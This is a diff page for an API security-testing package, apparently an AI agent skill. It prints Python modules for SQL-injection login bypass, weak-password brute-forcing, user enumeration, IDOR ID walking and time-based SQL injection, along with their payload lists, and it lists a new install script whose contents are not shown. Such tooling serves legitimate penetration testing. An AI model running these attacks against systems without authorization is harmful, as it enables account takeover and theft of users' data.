opencode-api-security-testing 2.1.0 → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/SKILL.md +1797 -0
  2. package/core/advanced_recon.py +788 -0
  3. package/core/agentic_analyzer.py +445 -0
  4. package/core/analyzers/api_parser.py +210 -0
  5. package/core/analyzers/response_analyzer.py +212 -0
  6. package/core/analyzers/sensitive_finder.py +184 -0
  7. package/core/api_fuzzer.py +422 -0
  8. package/core/api_interceptor.py +525 -0
  9. package/core/api_parser.py +955 -0
  10. package/core/browser_tester.py +479 -0
  11. package/core/cloud_storage_tester.py +1330 -0
  12. package/core/collectors/__init__.py +23 -0
  13. package/core/collectors/api_path_finder.py +300 -0
  14. package/core/collectors/browser_collect.py +645 -0
  15. package/core/collectors/browser_collector.py +411 -0
  16. package/core/collectors/http_client.py +111 -0
  17. package/core/collectors/js_collector.py +490 -0
  18. package/core/collectors/js_parser.py +780 -0
  19. package/core/collectors/url_collector.py +319 -0
  20. package/core/context_manager.py +682 -0
  21. package/core/deep_api_tester_v35.py +844 -0
  22. package/core/deep_api_tester_v55.py +366 -0
  23. package/core/dynamic_api_analyzer.py +532 -0
  24. package/core/http_client.py +179 -0
  25. package/core/models.py +296 -0
  26. package/core/orchestrator.py +890 -0
  27. package/core/prerequisite.py +227 -0
  28. package/core/reasoning_engine.py +1042 -0
  29. package/core/response_classifier.py +606 -0
  30. package/core/runner.py +938 -0
  31. package/core/scan_engine.py +599 -0
  32. package/core/skill_executor.py +435 -0
  33. package/core/skill_executor_v2.py +670 -0
  34. package/core/skill_executor_v3.py +704 -0
  35. package/core/smart_analyzer.py +687 -0
  36. package/core/strategy_pool.py +707 -0
  37. package/core/testers/auth_tester.py +264 -0
  38. package/core/testers/idor_tester.py +200 -0
  39. package/core/testers/sqli_tester.py +211 -0
  40. package/core/testing_loop.py +655 -0
  41. package/core/utils/base_path_dict.py +255 -0
  42. package/core/utils/payload_lib.py +167 -0
  43. package/core/utils/ssrf_detector.py +220 -0
  44. package/core/verifiers/vuln_verifier.py +536 -0
  45. package/package.json +17 -13
  46. package/references/asset-discovery.md +119 -612
  47. package/references/graphql-guidance.md +65 -641
  48. package/references/intake.md +84 -0
  49. package/references/report-template.md +131 -38
  50. package/references/rest-guidance.md +55 -526
  51. package/references/severity-model.md +52 -264
  52. package/references/test-matrix.md +65 -263
  53. package/references/validation.md +53 -400
  54. package/scripts/postinstall.js +46 -0
  55. package/agents/cyber-supervisor.md +0 -55
  56. package/agents/probing-miner.md +0 -42
  57. package/agents/resource-specialist.md +0 -31
  58. package/commands/api-security-testing-scan.md +0 -59
  59. package/commands/api-security-testing-test.md +0 -49
  60. package/commands/api-security-testing.md +0 -72
  61. package/tsconfig.json +0 -17
@@ -0,0 +1,264 @@
1
+ """
2
+ 认证测试 - 测试认证绕过、暴力破解、用户枚举
3
+ 输入: {login_url, test_mode, payloads, max_attempts}
4
+ 输出: {vulnerable, bypass_payload, weak_credential, lockout_detected}
5
+ """
6
+
7
+ import requests
8
+ import time
9
+ import json
10
+
11
+ requests.packages.urllib3.disable_warnings()
12
+
13
+
14
+ # 认证绕过Payload
15
+ AUTH_BYPASS_PAYLOADS = [
16
+ {"username": "admin", "password": "admin"},
17
+ {"username": "admin", "password": "123456"},
18
+ {"username": "admin", "password": "admin123"},
19
+ {"username": "test", "password": "test"},
20
+ {"username": "' OR '1'='1", "password": "any"},
21
+ {"username": "admin'--", "password": "any"},
22
+ {"username": "1' OR '1'='1", "password": "1"},
23
+ ]
24
+
25
+ # 弱密码
26
+ WEAK_PASSWORDS = [
27
+ "123456", "password", "admin", "admin123",
28
+ "123123", "000000", "111111", "12345678",
29
+ "qwerty", "abc123", "1234", "12345"
30
+ ]
31
+
32
+
33
+ def auth_tester(config):
34
+ """
35
+ 测试认证安全
36
+
37
+ 输入:
38
+ login_url: string - 登录接口URL
39
+ test_mode: "sqli" | "bypass" | "bruteforce" | "enum"
40
+ payloads?: object[] - 自定义payload
41
+ max_attempts?: number - 最大尝试次数
42
+
43
+ 输出:
44
+ vulnerable: boolean
45
+ bypass_payload?: object
46
+ weak_credential?: {user, pass}
47
+ lockout_detected: boolean
48
+ """
49
+ login_url = config.get('login_url')
50
+ test_mode = config.get('test_mode', 'bypass')
51
+ payloads = config.get('payloads', AUTH_BYPASS_PAYLOADS)
52
+ max_attempts = config.get('max_attempts', 10)
53
+
54
+ result = {
55
+ 'vulnerable': False,
56
+ 'bypass_payload': None,
57
+ 'weak_credential': None,
58
+ 'lockout_detected': False
59
+ }
60
+
61
+ if test_mode == 'sqli' or test_mode == 'bypass':
62
+ # SQL注入绕过测试
63
+ sqli_payloads = [p for p in payloads if "'" in str(p.get('username', '')) or "'" in str(p.get('password', ''))]
64
+
65
+ for payload in sqli_payloads[:5]:
66
+ try:
67
+ resp = requests.post(
68
+ login_url,
69
+ json=payload,
70
+ timeout=5,
71
+ verify=False,
72
+ headers={'Content-Type': 'application/json'}
73
+ )
74
+
75
+ if resp.status_code == 200:
76
+ try:
77
+ data = resp.json()
78
+ # 检查是否登录成功
79
+ if data.get('success') == True or data.get('code') == 0:
80
+ if data.get('token') or data.get('data', {}).get('token'):
81
+ result['vulnerable'] = True
82
+ result['bypass_payload'] = payload
83
+ return result
84
+ except:
85
+ pass
86
+ except:
87
+ pass
88
+
89
+ if test_mode == 'bruteforce' or test_mode == 'bypass':
90
+ # 暴力破解测试
91
+ lockout_detected = False
92
+ attempts_before_lockout = 0
93
+
94
+ for i, pwd in enumerate(WEAK_PASSWORDS[:max_attempts]):
95
+ try:
96
+ resp = requests.post(
97
+ login_url,
98
+ json={"username": "admin", "password": pwd},
99
+ timeout=3,
100
+ verify=False,
101
+ headers={'Content-Type': 'application/json'}
102
+ )
103
+
104
+ attempts_before_lockout += 1
105
+
106
+ if resp.status_code == 200:
107
+ try:
108
+ data = resp.json()
109
+ if data.get('success') == True or data.get('code') == 0:
110
+ result['vulnerable'] = True
111
+ result['weak_credential'] = {"user": "admin", "pass": pwd}
112
+ return result
113
+ except:
114
+ pass
115
+
116
+ # 检查是否被锁定
117
+ if resp.status_code == 429 or 'lock' in resp.text.lower():
118
+ lockout_detected = True
119
+
120
+ time.sleep(0.5) # 避免过快请求
121
+
122
+ except:
123
+ pass
124
+
125
+ result['lockout_detected'] = lockout_detected
126
+ result['attempts_before_lockout'] = attempts_before_lockout
127
+
128
+ if test_mode == 'enum':
129
+ # 用户枚举测试
130
+ error_responses = {}
131
+
132
+ test_users = [
133
+ "admin", "test", "user", "administrator",
134
+ "root", "guest", "nonexistent_user_12345"
135
+ ]
136
+
137
+ for user in test_users:
138
+ try:
139
+ resp = requests.post(
140
+ login_url,
141
+ json={"username": user, "password": "wrongpwd"},
142
+ timeout=5,
143
+ verify=False,
144
+ headers={'Content-Type': 'application/json'}
145
+ )
146
+
147
+ if resp.status_code == 200:
148
+ body = str(resp.json())
149
+ error_responses[user] = body
150
+
151
+ time.sleep(0.3)
152
+ except:
153
+ pass
154
+
155
+ # 分析响应差异
156
+ unique_responses = set(error_responses.values())
157
+ if len(unique_responses) > 1:
158
+ # 存在响应差异,可能可以枚举用户
159
+ result['vulnerable'] = True
160
+ result['enum_possible'] = True
161
+ result['response_patterns'] = len(unique_responses)
162
+
163
+ return result
164
+
165
+
166
+ def test_session_fixation(login_url):
167
+ """
168
+ 测试会话固定攻击
169
+
170
+ 输入:
171
+ login_url: string
172
+
173
+ 输出:
174
+ vulnerable: boolean
175
+ fixation_detected: boolean
176
+ """
177
+ # 生成测试session
178
+ test_session = "test_session_12345"
179
+
180
+ # 使用测试session访问登录页
181
+ try:
182
+ resp1 = requests.get(login_url, timeout=5, verify=False)
183
+
184
+ # 登录(使用测试session)
185
+ login_data = {
186
+ "username": "test",
187
+ "password": "test",
188
+ "session": test_session
189
+ }
190
+ resp2 = requests.post(
191
+ login_url,
192
+ json=login_data,
193
+ timeout=5,
194
+ verify=False,
195
+ cookies={'JSESSIONID': test_session}
196
+ )
197
+
198
+ # 登录后session应该改变
199
+ if 'set-cookie' in resp2.headers:
200
+ set_cookie = resp2.headers['set-cookie'].lower()
201
+ if test_session in set_cookie:
202
+ return {
203
+ 'vulnerable': True,
204
+ 'fixation_detected': True,
205
+ 'reason': 'Session未在登录后改变'
206
+ }
207
+
208
+ except:
209
+ pass
210
+
211
+ return {
212
+ 'vulnerable': False,
213
+ 'fixation_detected': False
214
+ }
215
+
216
+
217
+ def check_error_difference(login_url):
218
+ """
219
+ 检查登录错误响应差异(用于用户枚举)
220
+
221
+ 输入:
222
+ login_url: string
223
+
224
+ 输出:
225
+ has_difference: boolean
226
+ patterns: number
227
+ """
228
+ test_cases = [
229
+ {"username": "admin", "password": "wrong"},
230
+ {"username": "nonexist", "password": "wrong"},
231
+ {"username": "test", "password": "wrong"},
232
+ ]
233
+
234
+ responses = []
235
+
236
+ for case in test_cases:
237
+ try:
238
+ resp = requests.post(
239
+ login_url,
240
+ json=case,
241
+ timeout=5,
242
+ verify=False,
243
+ headers={'Content-Type': 'application/json'}
244
+ )
245
+ responses.append(str(resp.json()))
246
+ except:
247
+ responses.append("error")
248
+
249
+ unique = set(responses)
250
+
251
+ return {
252
+ 'has_difference': len(unique) > 1,
253
+ 'patterns': len(unique),
254
+ 'responses': responses
255
+ }
256
+
257
+
258
+ if __name__ == '__main__':
259
+ # 测试
260
+ result = auth_tester({
261
+ 'login_url': 'http://example.com/api/login',
262
+ 'test_mode': 'bypass'
263
+ })
264
+ print(f"Vulnerable: {result['vulnerable']}")
@@ -0,0 +1,200 @@
1
+ """
2
+ IDOR越权测试 - 测试参数遍历越权
3
+ 输入: {target_url, param_name, test_ids, auth_token}
4
+ 输出: {vulnerable: boolean, leaked_ids: [{id, data}], severity}
5
+ """
6
+
7
+ import requests
8
+ import json
9
+ import re
10
+
11
+ requests.packages.urllib3.disable_warnings()
12
+
13
+
14
+ def idor_tester(config):
15
+ """
16
+ 测试IDOR越权漏洞
17
+
18
+ 输入:
19
+ target_url: string - 目标URL
20
+ param_name: string - 参数名 (如 userId, orderNo)
21
+ test_ids: string[] | number[] - 测试ID列表
22
+ auth_token?: string - 认证token
23
+
24
+ 输出:
25
+ vulnerable: boolean
26
+ leaked_ids: Array<{id, data}>
27
+ severity: "high" | "medium" | "low"
28
+ """
29
+ target_url = config.get('target_url')
30
+ param_name = config.get('param_name', 'id')
31
+ test_ids = config.get('test_ids', [1, 2, 3])
32
+ auth_token = config.get('auth_token')
33
+
34
+ headers = {}
35
+ if auth_token:
36
+ headers['Authorization'] = f'Bearer {auth_token}'
37
+
38
+ leaked_ids = []
39
+ different_responses = 0
40
+ total_responses = 0
41
+
42
+ baseline_response = None
43
+ baseline_data = None
44
+
45
+ for test_id in test_ids:
46
+ # 构建测试URL
47
+ if '?' in target_url:
48
+ test_url = f"{target_url}&{param_name}={test_id}"
49
+ else:
50
+ test_url = f"{target_url}?{param_name}={test_id}"
51
+
52
+ try:
53
+ resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
54
+ total_responses += 1
55
+
56
+ if resp.status_code == 200:
57
+ try:
58
+ data = resp.json()
59
+ data_str = json.dumps(data)
60
+
61
+ # 保存第一个响应作为baseline
62
+ if baseline_response is None:
63
+ baseline_response = data_str
64
+ baseline_data = data
65
+ else:
66
+ # 比较响应是否不同
67
+ if data_str != baseline_response:
68
+ different_responses += 1
69
+ # 检查是否包含有效数据
70
+ if contains_business_data(data):
71
+ leaked_ids.append({
72
+ 'id': test_id,
73
+ 'data': data_str[:500],
74
+ 'size': len(data_str)
75
+ })
76
+ except:
77
+ pass
78
+
79
+ except Exception as e:
80
+ pass
81
+
82
+ # 判断漏洞
83
+ vulnerable = False
84
+ severity = 'low'
85
+
86
+ if len(leaked_ids) > 0:
87
+ vulnerable = True
88
+ severity = 'high'
89
+ elif different_responses > 0 and total_responses > 1:
90
+ # 有响应差异但没有泄露数据
91
+ vulnerable = False
92
+ severity = 'low'
93
+
94
+ return {
95
+ 'vulnerable': vulnerable,
96
+ 'leaked_ids': leaked_ids,
97
+ 'severity': severity,
98
+ 'different_responses': different_responses,
99
+ 'total_responses': total_responses
100
+ }
101
+
102
+
103
+ def contains_business_data(data):
104
+ """判断是否包含业务数据"""
105
+ if not isinstance(data, dict):
106
+ return False
107
+
108
+ # 检查是否有意义的业务字段
109
+ business_fields = [
110
+ 'user', 'username', 'userId', 'user_id', 'name',
111
+ 'phone', 'email', 'mobile',
112
+ 'order', 'orderId', 'order_no',
113
+ 'balance', 'amount', 'money',
114
+ 'id', '_id',
115
+ 'token', 'session'
116
+ ]
117
+
118
+ data_str = json.dumps(data).lower()
119
+
120
+ # 简单判断:包含多个业务字段
121
+ match_count = sum(1 for f in business_fields if f.lower() in data_str)
122
+
123
+ return match_count >= 2
124
+
125
+
126
+ def idor_chain_tester(config):
127
+ """
128
+ 测试IDOR链 - 从用户ID到订单ID到退款
129
+
130
+ 输入:
131
+ base_url: string
132
+ user_ids: number[]
133
+ order_ids?: number[]
134
+
135
+ 输出:
136
+ chain_found: boolean
137
+ chain_steps: Array<{endpoint, param, result}>
138
+ """
139
+ base_url = config.get('base_url')
140
+ user_ids = config.get('user_ids', [1, 2])
141
+ order_ids = config.get('order_ids', [1, 2])
142
+
143
+ chain_steps = []
144
+
145
+ # Step 1: 测试用户信息
146
+ for uid in user_ids:
147
+ url = f"{base_url}/api/user/info?userId={uid}"
148
+ try:
149
+ resp = requests.get(url, timeout=5, verify=False)
150
+ if resp.status_code == 200:
151
+ try:
152
+ data = resp.json()
153
+ if contains_business_data(data):
154
+ chain_steps.append({
155
+ 'step': 1,
156
+ 'endpoint': '/api/user/info',
157
+ 'param': f'userId={uid}',
158
+ 'result': 'leaked'
159
+ })
160
+ except:
161
+ pass
162
+ except:
163
+ pass
164
+
165
+ # Step 2: 测试订单列表
166
+ for uid in user_ids:
167
+ url = f"{base_url}/api/order/list?userId={uid}"
168
+ try:
169
+ resp = requests.get(url, timeout=5, verify=False)
170
+ if resp.status_code == 200:
171
+ try:
172
+ data = resp.json()
173
+ if isinstance(data, dict) and data.get('data'):
174
+ chain_steps.append({
175
+ 'step': 2,
176
+ 'endpoint': '/api/order/list',
177
+ 'param': f'userId={uid}',
178
+ 'result': 'leaked'
179
+ })
180
+ except:
181
+ pass
182
+ except:
183
+ pass
184
+
185
+ chain_found = len(chain_steps) > 0
186
+
187
+ return {
188
+ 'chain_found': chain_found,
189
+ 'chain_steps': chain_steps
190
+ }
191
+
192
+
193
+ if __name__ == '__main__':
194
+ # 测试
195
+ result = idor_tester({
196
+ 'target_url': 'http://example.com/api/user/info',
197
+ 'param_name': 'userId',
198
+ 'test_ids': [1, 2, 3]
199
+ })
200
+ print(f"Vulnerable: {result['vulnerable']}, Leaked: {len(result['leaked_ids'])}")
@@ -0,0 +1,211 @@
1
+ """
2
+ SQL注入测试
3
+ 输入: {target_url, method, param_name, payloads, check_union, check_boolean}
4
+ 输出: {vulnerable, payload_used, error_detected, time_based}
5
+ """
6
+
7
+ import requests
8
+ import json
9
+ import time
10
+ import re
11
+
12
+ requests.packages.urllib3.disable_warnings()
13
+
14
+
15
+ # SQL注入Payload
16
+ SQLI_PAYLOADS = [
17
+ "' OR '1'='1",
18
+ "' OR '1'='1' --",
19
+ "' OR '1'='1' #",
20
+ "admin'--",
21
+ "admin' OR '1'='1",
22
+ "' UNION SELECT NULL--",
23
+ "' UNION SELECT NULL,NULL--",
24
+ "' UNION SELECT 1,2,3--",
25
+ "1' AND '1'='1",
26
+ "1' AND '1'='2",
27
+ "1' OR '1'='1",
28
+ ]
29
+
30
+ # SQL错误特征
31
+ SQL_ERROR_PATTERNS = [
32
+ 'sql', 'syntax error', 'mysql', 'postgresql', 'oracle',
33
+ 'sqlite', 'sqlstate', 'microsoft sql', 'odbc driver',
34
+ 'sql error', 'sqlsrv', 'mariadb', 'access denied',
35
+ 'sql_injection', 'sql injection'
36
+ ]
37
+
38
+
39
+ def sqli_tester(config):
40
+ """
41
+ 测试SQL注入漏洞
42
+
43
+ 输入:
44
+ target_url: string - 目标URL
45
+ method: "GET" | "POST"
46
+ param_name?: string - 参数名
47
+ payloads?: string[] - 自定义payload
48
+ check_union?: boolean - 是否检测UNION注入
49
+ check_boolean?: boolean - 是否检测布尔注入
50
+
51
+ 输出:
52
+ vulnerable: boolean
53
+ payload_used?: string
54
+ error_detected?: string
55
+ time_based?: boolean
56
+ """
57
+ target_url = config.get('target_url')
58
+ method = config.get('method', 'POST').upper()
59
+ param_name = config.get('param_name', 'id')
60
+ payloads = config.get('payloads', SQLI_PAYLOADS)
61
+
62
+ result = {
63
+ 'vulnerable': False,
64
+ 'payload_used': None,
65
+ 'error_detected': None,
66
+ 'time_based': False
67
+ }
68
+
69
+ for payload in payloads:
70
+ try:
71
+ # 构建测试请求
72
+ if method == 'GET':
73
+ if '?' in target_url:
74
+ test_url = f"{target_url}&{param_name}={payload}"
75
+ else:
76
+ test_url = f"{target_url}?{param_name}={payload}"
77
+ resp = requests.get(test_url, timeout=10, verify=False)
78
+ else:
79
+ test_data = {param_name: payload}
80
+ resp = requests.post(
81
+ target_url,
82
+ json=test_data,
83
+ timeout=10,
84
+ verify=False
85
+ )
86
+
87
+ # 检查SQL错误
88
+ if resp.status_code == 200:
89
+ body = resp.text.lower()
90
+
91
+ # 检查是否包含SQL错误
92
+ for error_pattern in SQL_ERROR_PATTERNS:
93
+ if error_pattern in body:
94
+ result['vulnerable'] = True
95
+ result['payload_used'] = payload
96
+ result['error_detected'] = error_pattern
97
+ return result
98
+
99
+ # 检查响应差异(可能表示注入生效)
100
+ if "or '1'='1" in payload.lower():
101
+ # 布尔注入测试
102
+ # 正常: 1 -> 假: payload -> 应该不同
103
+ pass
104
+
105
+ except Exception as e:
106
+ pass
107
+
108
+ return result
109
+
110
+
111
+ def sqli_time_based_tester(config):
112
+ """
113
+ 时间盲注测试
114
+
115
+ 输入:
116
+ target_url: string
117
+ method: "GET" | "POST"
118
+ param_name: string
119
+ delay: number - 延迟秒数
120
+
121
+ 输出:
122
+ vulnerable: boolean
123
+ time_taken: number
124
+ """
125
+ target_url = config.get('target_url')
126
+ method = config.get('method', 'GET').upper()
127
+ param_name = config.get('param_name', 'id')
128
+ delay = config.get('delay', 5)
129
+
130
+ payload = f"1' AND SLEEP({delay})--"
131
+
132
+ start = time.time()
133
+
134
+ try:
135
+ if method == 'GET':
136
+ test_url = f"{target_url}?{param_name}={payload}"
137
+ resp = requests.get(test_url, timeout=30, verify=False)
138
+ else:
139
+ test_data = {param_name: payload}
140
+ resp = requests.post(target_url, json=test_data, timeout=30, verify=False)
141
+
142
+ elapsed = time.time() - start
143
+
144
+ if elapsed >= delay:
145
+ return {
146
+ 'vulnerable': True,
147
+ 'time_taken': elapsed,
148
+ 'payload': payload
149
+ }
150
+ except:
151
+ pass
152
+
153
+ return {
154
+ 'vulnerable': False,
155
+ 'time_taken': elapsed if 'elapsed' in dir() else 0
156
+ }
157
+
158
+
159
+ def verify_sqli_response(response):
160
+ """
161
+ 验证响应是否是SQL注入结果
162
+
163
+ 输入:
164
+ response: {status, body, headers}
165
+
166
+ 输出:
167
+ is_sqli: boolean
168
+ sqli_type: string
169
+ evidence: string
170
+ """
171
+ body = response.get('body', '').lower()
172
+
173
+ # 检查SQL错误
174
+ for pattern in SQL_ERROR_PATTERNS:
175
+ if pattern in body:
176
+ return {
177
+ 'is_sqli': True,
178
+ 'sqli_type': 'error_based',
179
+ 'evidence': pattern
180
+ }
181
+
182
+ # 检查是否是数据库错误JSON
183
+ try:
184
+ data = json.loads(response.get('body', ''))
185
+ if isinstance(data, dict):
186
+ msg = str(data.get('msg', '')).lower()
187
+ for pattern in SQL_ERROR_PATTERNS:
188
+ if pattern in msg:
189
+ return {
190
+ 'is_sqli': True,
191
+ 'sqli_type': 'error_based',
192
+ 'evidence': msg[:200]
193
+ }
194
+ except:
195
+ pass
196
+
197
+ return {
198
+ 'is_sqli': False,
199
+ 'sqli_type': None,
200
+ 'evidence': None
201
+ }
202
+
203
+
204
+ if __name__ == '__main__':
205
+ # 测试
206
+ result = sqli_tester({
207
+ 'target_url': 'http://example.com/api/login',
208
+ 'method': 'POST',
209
+ 'param_name': 'username'
210
+ })
211
+ print(f"Vulnerable: {result['vulnerable']}")